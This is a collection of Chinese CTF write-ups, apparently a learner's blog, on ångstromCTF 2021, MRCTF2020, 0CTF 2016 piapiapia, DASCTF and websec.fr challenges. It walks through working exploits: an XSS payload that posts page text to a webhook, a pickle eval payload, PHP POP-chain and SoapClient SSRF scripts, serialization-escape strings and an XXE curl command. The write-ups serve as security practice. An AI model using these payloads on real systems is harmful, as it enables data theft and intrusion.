2021angstromCTF-nomnomnom

2021angstromCTF-nomnomnom

https://2021.angstromctf.com/challenges

image-20210411220237452

一个小游戏,会记录分数,会在一个页面生成你的分数,记录展示用户名和分数

其中用户名这部分是可以控制的,产生了xss漏洞:

image-20210411233254290

这里注入了标签:<marquee></marquee>,对页面产生了影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
return res.send(`
<!DOCTYPE html>
<html>
<head>
<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
<title>snek nomnomnom</title>
</head>
<body>
${extra}${extra ? '<br /><br />' : ''}
<h2>snek goes <em>nomnomnom</em></h2><br />
Check out this score of ${score}! <br />
<a href='/'>Play!</a> <button id='reporter'>Report.</button> <br />
<br />
This score was set by ${name}
<script nonce='${nonce}'>
function report() {
fetch('/report/${req.params.shareName}', {
method: 'POST'
});
}

document.getElementById('reporter').onclick = () => { report() };
</script>

</body>
</html>`);
});

这是源码部分,采取了**CSP (Content Security Policy)**来防止xss注入,为了绕过csp,这里需要用到:

Dangling Markup

https://blog.csdn.net/angry_program/article/details/106441323

html在读取标签时,<会一直匹配到下一个>为止,利用这个特性,我们可以使注入点下的nonce属性成为我们脚本标签中的属性从而绕过csp,不过此漏洞似乎有版本限制……。

image-20210411234524590

payload:

1
<script src="data:text/javascript, fetch('webhookurl', {method: 'POST', mode: 'no-cors', body: document.body.innerText})"

这里用到https://webhook.site/提供的xss平台,让网页加载脚本时去访问网页即可

不过大佬好像还进行了一步:

1
2
3
4
5
function report() {
fetch('/report/f8f9270fe102e65a', {
method: 'POST'
})
}

img

js……不是很会,在学了在学了

大概是通过fetch再次请求资源……?

我去找了源码,结果是用Node.js的Express框架写的……

/report路由是post方法,只有几步处理……

看得不是很懂,让我学一波相关语言再审计吧……

xss平台:

image-20210411235253988

赋值了cookie,源码中有检测cookie的操作,这可能就是为什么要在这个页面请求两次?

webhook:

第一次:

image-20210411235441294

第二次:

image-20210411235452273

响应信息里出现了flag!

以后学习一些知识再回来完善完善……

  

2021ångstromCTF-Jar

2021ångstromCTF-Jar

https://2021.angstromctf.com/challenges

做了一道外国赛题……

记得做ikun题的时候好像接触过jar(泡菜,python反序列化

不过ikun好难,回来再做做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, send_file, request, make_response, redirect
import random
import os

app = Flask(__name__)

import pickle
import base64

flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')

@app.route('/pickle.jpg')
def bg():
return send_file('pickle.jpg')

@app.route('/')
def jar():
contents = request.cookies.get('contents')
if contents: items = pickle.loads(base64.b64decode(contents))
else: items = []
return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)

@app.route('/add', methods=['POST'])
def add():
contents = request.cookies.get('contents')
if contents: items = pickle.loads(base64.b64decode(contents))
else: items = []
items.append(request.form['item'])
response = make_response(redirect('/'))
response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
return response

app.run(threaded=True, host="0.0.0.0")

直接给出了源码,直接对对象进行了反序列化,而python中的反序列化是很危险的,利用__reduce__方法,可以在反序列化时使程序执行我们构造的代码:

上面:flag = os.environ.get(‘FLAG’, ‘actf{FAKE_FLAG}’)

甚至为我们构造好了语句……

1
2
3
4
5
6
7
8
9
10
11
12
import os
import pickle
import urllib
import base64

class test(object):
def __reduce__(self):
return (eval, ("os.environ.get('FLAG', 'actf{FAKE_FLAG}')",))

c=pickle.dumps(test())
d=base64.b64encode(c)
print d
image-20210411215740361

找到首尾相连的字母,获取flag……

  

MRCTF2020-套娃

MRCTF2020-套娃

进入页面,查看源码:

1
2
3
4
5
6
7
8
9
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

了解一下QUERY_STRING:https://www.cnblogs.com/mitang/p/3874291.html

这个东西不会对字段进行url转码,可以通过urlencode绕过……

/^23333$/考察换行符绕过(话说今年也有

?b%20u%20p%20t=23333%0a

提示有secrettw.php,源码有jsfxxk,解密alert一个post me Merak

出现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

file_get_contents用data传参,ip用head头client-ip绕过

根据change函数逆向出payload即可

  

枯燥的抽奖

[GWCTF 2019]枯燥的抽奖

image-20210411205041425

提交一个数字,network里发现提交给了check.php,访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

在session中随机生成一个种子,如果种子确定,则后来生成的随机数也是确定的……

更改session,相同的session出现的字符串前十位不变

生成的字符串由种子确定的随机数确定,我们要从已有的几组数据中爆破出种子

本来想用php写个脚本,发现这个想法不现实,性能拉跨……

php_mt_seed-4.0工具可以帮助我们完成破解,但首先我们要还原数据为合法的格式

一个参数

当只有一个参数的时候,这个参数代表mt_rand第一次输出的值。

两个参数

当有两个参数的时候,他们代表mt_rand第一次输出应该位于什么区间内。

第一个参数为最小值,第二个参数为最大值。

四个参数

前两个参数表示mt_rand第一次输出的区间,后两个参数表示mt_rand输出的区间。

多于五个参数

每四个参数一组,但是最后一组可以是1,2或4个参数。每一组引用对应的输出。

还原脚本:

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2=''
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

image-20210411210432842

第一次输出的区间:固定相同的两个数

mt_rand输出的区间:只能是0-61

放到php_mt_seed里:

image-20210411210619599

得到seed,再根据seed找到完整字符串即可~

  

MRCTF2020-Ezpop_Revenge

[MRCTF2020]Ezpop_Revenge

做了ezpop,看到这道题,就想尝试一下,结果……无语凝噎

进入题目,是一个搭建的博客,扫出www.zip网站源码:

image-20210404165801705

(非常恐怖

这里有很多网页的代码,既然是Revenge,应该是反序列化题目,在文件内查找:

1
2
3
4
5
6
7
8
9
10
11
12
//Plugin.php
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}

这里可以反序列化了一个post的数据,并且做了过滤……不管如何利用,先从这里找,在这个文件上方有一个类:

1
2
3
4
5
6
7
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}

wakeup的魔法方法,可以反序列化调用,跟进Typecho_Db:

(代码太多,这里选择有用的部分

1
2
3
4
5
6
7
8
9
10
11
12
//Db.php
class Typecho_Db
{
private $_adapter;
private $_prefix;
private $_adapterName;

public function __construct($adapterName, $prefix = 'typecho_')
{
$this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}

进行了拼接,(大概)可以联想到toString方法,那有没有呢?(很多……一定要注意其形式是否可以利用,经验和感觉很重要,嗯,玄学)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//Query.php
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
}

一个针对sql语句的条件分支,注意select这里:

1
return $this->_adapter->parseSelect($this->_sqlPreBuild);

就很像反序列化练习中__call函数的调用,查了一下__call函数,似乎没有利用点……

SOAP 反序列化

dalao:https://zhuanlan.zhihu.com/p/80918004

SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。

为php安装soap拓展后:

image-20210404172608327

可以看到,SoapClient类自带有__call方法,由此诞生了SOAP反序列化ssrf利用。

本地重复实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

image-20210404173005718

调用不存在的方法时,SoapClient仍会向WebSever发送请求,调用服务器函数。

在参数中,user-agent是可控的,这意味着通过CRLF,我们可以控制ua下的所有参数,进而借网站发送一个由我们控制的POST请求,完成ssrf。

pop链已经明了了(大概):

  1. HelloWorld_DB反序列化触发wakeup,在wakeup中实例化一个Typecho_Db;
  2. Typecho_Db($this->coincidence['hello'], $this->coincidence['world'])$this->coincidence['world']作为参数,也就是$adapterName,控制此参数为Typecho_Db_Query的实例化,触发toString;
  3. Typecho_Db_Query中控制$this->_sqlPreBuild['action']为select,$this->_adapter为SoapClient的实例化,触发其中的call方法,发送post请求进行ssrf。

明了归明了,写脚本也是一大难关……并且要对各个类里的魔术方法有数,这样才能构造出正确的序列化字符串。

……………………无语凝噎

利用类里有的construct控制变量,传入target为http://92018a96-f259-4c67-9a5a-b95fedc9d0ea.node3.buuoj.cn/flag.php设置好xff头和自己的cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
class HelloWorld_DB{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}

class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
public function __construct()
{
$target = "http://92018a96-f259-4c67-9a5a-b95fedc9d0ea.node3.buuoj.cn/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=a55efu5tcvab970c7j54jbfkj3"
);
$this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'haha^^' . join('^^', $headers)));

$this->_sqlPreBuild = ['action' => "SELECT"];
}
}

$a = serialize(new HelloWorld_DB());

//echo $a;

$a = preg_replace(" /\^\^/", "\r\n", $a);

echo base64_encode($a);

unserialize($_GET['pop']);

(大概可以吧…………

最后如何该如何利用反序列化:

在另一个Plugin.php中:

1
2
3
4
5
6
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//Helper.php
* 增加路由
* @access public
* @param string $name 路由名称
* @param string $url 路由路径
* @param string $widget 组件名称
* @param string $action 组件动作
* @param string $after 在某个路由后面
* @return integer */
public static function addRoute($name, $url, $widget, $action = NULL, $after = NULL)
{
$routingTable = self::options()->routingTable;
if (isset($routingTable[0])) {
unset($routingTable[0]);
}

$pos = 0;
foreach ($routingTable as $key => $val) {
$pos ++;

if ($key == $after) {
break;
}
}
$pre = array_slice($routingTable, 0, $pos);
$next = array_slice($routingTable, $pos);

$routingTable = array_merge($pre, array($name => array(
'url' => $url,
'widget' => $widget,
'action' => $action
)), $next);
self::options()->routingTable = $routingTable;

$db = Typecho_Db::get();
return Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => serialize($routingTable))
, $db->sql()->where('name = ?', 'routingTable'));
}

https://blog.csdn.net/a3320315/article/details/105215741

根据这篇文章的说法,网页上的插件(Widget)一般由路由分发来自动加载,序列化点:image-20210404182121878

由此,对应的 * @param string $widget 组件名称也就是HelloWorld_Plugin,查找相关的插件名一般就可以找到路由……(这个一般,大概是我胡说的……因为我根本不懂……😭zhendecai

*这句代码的意思大概就是访问/page_admin的时候,会自动加载HelloWorld_Plugin类,而且会自动调用action函数,所以我们利用点的路由为/page_admin*。

最后是文件中带有的flag.php:

1
2
3
4
5
6
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

如果是内网访问,则flag写入session,利用点:

1
if(isset($_REQUEST['admin'])) var_dump($_SESSION);

传入admin参数打印session获取flag……

image-20210404183523393

这题……好像还有很类似的题,大概算是真实环境下的反序列化代码审计?不清楚,我啥都不知道🐕

经常看了后面忘前面……也算是一种锻炼吧,多积累经验……

  

MRCTF2020-Ezpop

[MRCTF2020]Ezpop

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

提示在flag.php,应该是利用include进行读取,构造pop链:

class Show:wakeup、toString

class Test:get

class Modifier:invoke、include

可以看出来,Show类应当是入口:

1
2
3
4
5
6
7
8
9
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}

在对source过滤是是一种字符串操作,这里可以跳到toString方法中

而toString明显调用了一个属性值,get到不存在的属性,进入Test:

1
2
3
4
public function __get($key){
$function = $this->p;
return $function();
}

函数形式调用方法,invoke:

1
2
3
4
5
6
7
protected  $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}

利用方法是很明显的,我们只需要控制$var为我们想要的就可以进行包含任意读取

另,注意这里是私有保护变量,要传一个url加密的序列化字符串保证正确的解析

Help Me Find FLAG!

估计是藏起来了,上伪协议

php://filter/read=convert.base64-encode/resource=flag.php

1
2
3
4
5
6
<?php
class Flag{
private $flag= "flag{81ade5a5-3fc1-455b-bec8-5adbc83dfd1b}";
}
echo "Help Me Find FLAG!";
?>

exp:

1
2
3
4
5
6
7
8
9
$m = new Modifier();
$t = new Test();
$s = new Show();
$ss=new Show();
$s->source=$ss;
$s->source->str=$t;
$s->source->str->p=new Modifier();
$k = serialize($s);
echo urlencode($k);

……ok

  

0CTF-2016-piapiapia

[0CTF 2016]piapiapia

进入网页发现是一个登录界面,尝试发现有register.php,登陆后有一个文件上传,有上传后的展示页面

御剑+dirmap扫,有访问控制,扫挺慢……

image-20210402193847592

御剑扫出来register页面,dirmap就扫出来了网页备份……害

下载网页源码:image-20210402194037537

本题测试发现admin账户是可以注册的,应该不存在获取管理员权限啥的……看一波profile

1
2
3
4
5
6
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

这里有一个文件读取,上面是一个 反序列化,updata:

1
2
3
4
5
6
7
8
9
10
11
12
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

这里是序列化,将提交的信息进行了序列化,应该看一下user类里的有关方法:

1
2
3
4
5
6
7
8
9
10
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}

user有一个父类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class user extends mysql{...}

//class mysql:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}

针对sql的一些查询语句进行了过滤,并会替换成hacker。

image-20210402195246499

config文件里记录了有flag信息,但这里是空的……我们应该是要读这个文件,也就是是控制传输的反序列化。

上次的easy_serialize_php,文件对序列化后的字符串进行了检测的替换。无论是检测时字符串删除或增加,都可能导致反序列化的对象逃逸,这里不能控制键,所以是值逃逸。

反序列化的对象逃逸

首先

image-20210402200031174

要绕过nickname的长度限制,这里可以使用数组绕过

正常的反序列化:

a:4:{s:5:”phone”;s:11:”11111111111”;s:5:”email”;s:7:”1@1.com“;s:8:”nickname”;a:1:{i:0;s:32:”1s:5:”photo”;s:10:”config.php”;}”;}s:5:”photo”;s:39:”upload/c4ca4238a0b923820dcc509a6f75849b”;}

数组的反序列化会在数据两边加上{},所以我们要拼接";}s:5:"photo";s:10:"config.php";}来覆写photo为我们想要的config文件。

注意到过滤中有一个where是5字符的,而hacker是6字符,这样的增加可以影响到前面对数组的描述,而我们的插入因为符合语法规则而从描述中逃逸";}s:5:"photo";s:10:"config.php";}有34个字符,如果我们在nickname中传入34个where,将会被替换成64个hacker。

image-20210402200850354

———————>

image-20210402201033007

本该解析的";}s:5:"photo";s:10:"config.php";}被多出来的34个字符吞掉,后面正确闭合导致描述逃逸,photo被覆写为cofig.php:

image-20210402201316506

成功上传:

image-20210402201348203

解密:

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{f46c2977-0f1c-48f5-ac44-01b966e6c53a}';
?>

ok……

  

easy_serialize_php

easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

题目是一道关于session的反序列化

先看一下利用点:

1
2
3
4
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

大概是利用file_get_contents去读取flag文件,题目告诉我们phpinfo里有提示

(然而buu现在直接卡掉含有phpinfo的域名……

https://blog.csdn.net/weixin_30547797/article/details/96985303

可以找到敏感文件:image-20210401133133348

然后就是session的序列化:

image-20210401133204112

extract($_POST);应该是通过post方式覆写变量,而反序列化读取的是$userinfo[‘img’],也就是session[image]中的内容:

1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

如果sha1,则不能再base64解码……若走第一条,内容则是指定的。

1
$serialize_info = filter(serialize($_SESSION));

filter对序列化进行了过滤删除,构造使删除后序列化仍合法,有机会实现覆写:

反序列化的对象逃逸

值逃逸

控制序列化后的某个值为过滤字,过滤后根据规则,后面的字符会被解析进前面的键作为键值

再在后面闭合使其符合序列化语法:

image-20210401135625213

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这样提交后,flagflagflagflagflagflag被消除掉,取而代之的是";s:8:"function";s:1:"a,这样字符串就是合法的,后面img的值也就被覆盖了

键逃逸

image-20210401140644072

image-20210401140450430

1
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

吃掉的正是对后面值的描述,这样控制好键的字数,就可以精确做到逃逸……大概……

这道题中决定逃逸的是,extract出现在img之前,user、function之后,不能通过直接覆写改变img,只能通过其他键(或构造特殊键),构造其中的键值来实现合法的反序列化字符串覆写,读取我们想要的文件。

……

  

DASCTF三月复现

ez_serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}

}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{

function vaild($code){
$pattern = '';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}


if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;

}

逻辑还是挺好捋的……这里关键是对php原生文件操作类的应用:

https://www.php.net/manual/zh/book.spl.php

描述
DirectoryIterator 遍历目录。
FilesystemIterator 遍历目录。
GlobIterator 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag*。
SplFileObject 读取文件,按行读取,多行需要遍历;URL 可作为文件名,受到allow_url_fopen影响。
finfo/finfo_open() 需要两个参数,读取文件。
1
2
3
4
5
6
7
8
9
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}

这里就可以控制class为SPL(标准PHP类库)中的文件操作类。

但是……DirectoryIterator和FilesystemIterator 作为迭代器,需要循环遍历输出每一个不同的目录下文件,所以直接输出只显示第一个文件

GlobIterator可以使用通配符搜索,同样,只显示搜素到的第一个文件……

这道题就是利用FilesystemIterator找flag文件,SplFileObject读取flag文件

来看类似的一道题:

websec-LevelTwelve

http://websec.fr/level12/index.php

finfo的利用:

Syntax

FINFO (file-id,info-item)

  • file-id
  • specifies the identifier that was assigned when the file was opened (generally by the FOPEN function).
  • info-item
  • specifies the number of the information item that is to be retrieved.

FINFO函数为先前已打开并由FOPEN函数分配了文件ID的外部文件返回指定信息项的值。

FINFO,FOPTNAME和FOPTNUM函数支持以下信息项。

file-id

Information Items for Unix System Services Files

Unix系统服务文件的信息项

Item 项目标识符 Definition
1 File Name文件名 File name
2 Access Permission存取权限 Read, write, and execute permissions for owner, group, and other
3 Number of Links链接数 Number of links in the file
4 Owner Name所有者名称 User ID of the owner
5 Group Name团队名 Name of the owner’s access group
6 File Size文件大小 File size
7 Last Modified最后修改 Date file last modified

Information Items for Sequential Files and members of PDSs and PDSEs

顺序文件以及PDS和PDSE成员的信息项

Item Item Identifier Definition
1 Dsname名称 File name
2 Unit单元 Disk type
3 Volume体积 Volume on which data setresides
4 Disp显示 Disposition
5 Blksize Block size
6 Lrecl Record length
7 Recfm Record format

info-item:所打开的文件

好不容易查到的资料,似乎也没什么用……

image-20210330162313649

控制类名读取index.php

image-20210330162402047

这里大量的报错,带出了许多文件内容,

具体原因:https://www.anquanke.com/post/id/167140#h2-7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/*
Congratulation, you can read this file, but this is not the end of our journey.

- Thanks to cutz for the QA.
- Thanks to blotus for finding a (now fixed) weakness in the "encryption" function.
- Thanks to nurfed for nagging us about a cheat
*/

$text = 'Niw0OgIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==';
$key = ini_get ('user_agent');

if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {
if ($_SERVER['HTTP_USER_AGENT'] !== $key) {
die ("Cheating is bad, m'kay?");
}

$i = 0;
$flag = '';
foreach (str_split (base64_decode ($text)) as $letter) {
$flag .= chr (ord ($key[$i++]) ^ ord ($letter));
}
die ($flag);
}
?>

接下来就是获取key了

借助SplFileObject的特性,访问我们的IP,监听获取use_agent,也就是key

image-20210330164631817

加一个\就可以绕过……:

Without any namespace definition, all class and function definitions are placed into the global space - as it was in PHP before namespaces were supported. Prefixing a name with \ will specify that the name is required from the global space even in the context of the namespace.

百度机翻:

没有任何名称空间定义,所有的类和函数定义都放在全局空间中——就像在支持名称空间之前的PHP中一样。在名称前面加上\将指定该名称必须来自全局空间,即使在命名空间的上下文中也是如此。

image-20210330164826855

获得key:aiviGohdahvueL0dedi5hievi0Ahsh1aor9aiQu5eemaisi7Phai9PhohpheiweiP7eifooVooviesh9meighoolahm3Phe0Ii6gieL1Pidoodiephein3iK8tae3aec

解密脚本:

1
2
3
4
5
6
7
8
9
10
<?php
$key = "aiviGohdahvueL0dedi5hievi0Ahsh1aor9aiQu5eemaisi7Phai9PhohpheiweiP7eifooVooviesh9meighoolahm3Phe0Ii6gieL1Pidoodiephein3iK8tae3aec";
$text = "Niw0OgIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==";
$flag = "";
foreach (str_split (base64_decode ($text)) as $letter) {
$flag .= chr (ord ($key[$i++]) ^ ord ($letter));
}

echo $flag;
//WEBSEC{Many_thanks_to_hackyou2014_web400_MSLC_<3}

大佬的ssrf(这是利用了xml吗……tql):

1
2
3
4
5
得到源码:
curl -s --data 'submit=&class=SimpleXMLElement&param2=2&param1=<!DOCTYPE xxe [<!ENTITY foo SYSTEM "php://filter/read=convert.base64-encode/resource=/index.php">]><root>%26foo;</root>' http://websec.fr/level12/index.php | grep -oE -m1 '<pre>(.*)</pre>'
可以继续获取php.ini,路径未知,
也可以: 通过ssrf获取flag:
